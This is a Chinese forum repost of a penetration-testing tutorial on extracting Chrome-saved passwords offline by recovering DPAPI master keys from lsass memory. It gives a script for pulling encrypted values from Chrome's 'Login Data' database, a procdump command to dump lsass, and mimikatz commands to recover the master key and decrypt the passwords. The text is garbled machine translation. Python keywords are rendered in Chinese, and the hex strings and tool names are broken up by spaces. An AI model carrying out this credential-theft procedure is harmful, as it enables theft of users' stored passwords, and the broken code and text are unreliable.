剑道尘心 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 在之前的文章《渗透技巧——离线导出Chrome浏览器中保存的密码》中得出结论,用户的ntlm哈希无法导出Chrome浏览器保存的明文密码。 但是目前的Windows系统(如Windows Server 2012)默认无法导出用户的明文密码,只能得到ntlm hash。 也就是说,即使获得了系统的访问权限,如果无法获取明文密码,《渗透技巧——离线导出Chrome浏览器中保存的密码》条介绍的方法仍然无法导出Chrome浏览器离线(但在线)保存的明文密码。 本文将介绍一种新的方法,使用Masterkey离线导出Chrome浏览器中存储的密码,无需获取用户的明文密码,并得出新的结论。 0x01 简介 本文将介绍以下内容: 基本概念 解密思维 导出方法 实物试验 0x02 基础概念 DPAPI: 数据保护应用程序编程接口的全名 DPAPI blob: 一段密文,可以用主密钥解密。 Master Key: 64字节,用于解密DPAPI blob,用用户登录密码、SID和16字节随机数加密,存储在主密钥文件中。 Master Key file: 二进制文件,可由用户登录密码解密以获得主密钥。 0x03 DPAPI解密思路 1、定位加密的Master Key file 文章《渗透技巧——离线导出Chrome浏览器中保存的密码》曾经得出结论,无法定位解密的Chrome数据库对应的主密钥文件。 这个结论是错误的,实际上是可以定位的。方法参见0x04。 2、从lsass进程提取出Master Key 还有一个想法,不需要用户的明文密码。 注: 要从脱机主密钥文件中提取主密钥,必须获得用户的明文密码。 3、使用Master Key解密DPAPI blob,获得明文 0x04 实现方法 测试系统: Win7 x86 1、使用python读取数据库文件并提取出密文 使用python脚本读取登录数据并将其保存到文件中。代码如下: 从操作系统导入getenv 导入sqlite3 导入binascii conn=sqlite3.connect('登录数据') cursor=conn.cursor() cursor.execute('从登录中选择操作url,用户名值,密码值') 对于cursor.fetchall()中的结果: print(binas CII . b2a _ hex(result[2])) f=打开(' test.txt ',' wb ') f.write(结果[2]) f.close() 脚本执行后,提取登录数据中保存的密文,保存为test.txt 2、获得该密文对应的Master Key file Mimikatz订购了以下产品: dpapi:blob /in:test.txt 获取相应的guidMasterkey为{ a 111 b 0 f 6-b4d 7-40c 8-b536-672 a 8288 b 958 } 如下图 即主密钥文件的路径为% appdata % \ Microsoft \ protect \ % sid % \ a 111 b 0 f 6-b4d 7-40 c8-b536-672 a 8288 b 958。 3、从lsass进程提取出Master Key (1) 在线方式 需要管理员权限。 米米卡兹: 权限:调试 sekurlsa:dpapi 如下图 提取的主密钥是66638 CBA ea 3 b 7 cf 1 DC 55688 f 939 e 50 ea 1002 ced 954 a 1d 17d 5 Fe 0 b 90 b 7d 34677 AC 148 a 1 f 32 caf 828 FD 7234 BBA FBE 14b 39791 B3 d 7 e 587176576d 39 C3 fa 70。 (2) 离线方式 使用procdump转储输出LSASS进程内存。 Procdump下载地址: https://docs . Microsoft . com/zh-cn/sysinternals/downloads/proc dump 管理员权限: procdump.exe-accept EULA-ma lsass.exe lsass . DMP 使用mimikatz加载dmp文件: sekurlsa:minidump lsass.dmp sekurlsa:dpapi 注: 从lsass进程中提取主密钥后,Mimikatz会自动将主密钥添加到系统缓存中。 4、使用masterkey解密 米米卡兹: dpapi:blob /in:test.txt 成功获取明文,如下所示 数据正确,如下图。 0x05 利用分析 本文介绍的方法是通过lsass进程恢复主密钥,因此不需要获取用户的明文密码。 同时,在与procdump的合作中,不需要在测试系统上执行mimikatz,只需要获取目标系统的两个文件:lsass进程的dmp文件和登录数据文件,在本地使用mimikatz恢复主密钥,并解密得到明文。 此外,不需要将系统权限降级为当前用户权限。 总结一下,离线导出的完整思路如下: 1、获得用户系统Chrome保存密码的SQLite数据库文件,位于%LocalAppData%\Google\Chrome\User Data\Default\Login Data 2、获得lsass进程的内存文件 3、在本地使用mimikatz提取Master Key,解密Login Data获得明文 0x06 最终结论 1、能够定位Master Key file 方法1: Mimikatz命令: dpapi:blob /in:test.txt 方法二: 通过读取首选文件的前16个字节来获取相应的主密钥文件。 2、不需要用户明文口令也能离线导出Chrome浏览器中保存的密码 0x07 小结 本文介绍了如何使用Masterkey离线导出Chrome浏览器中保存的密码,比之前的方法更通用。 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子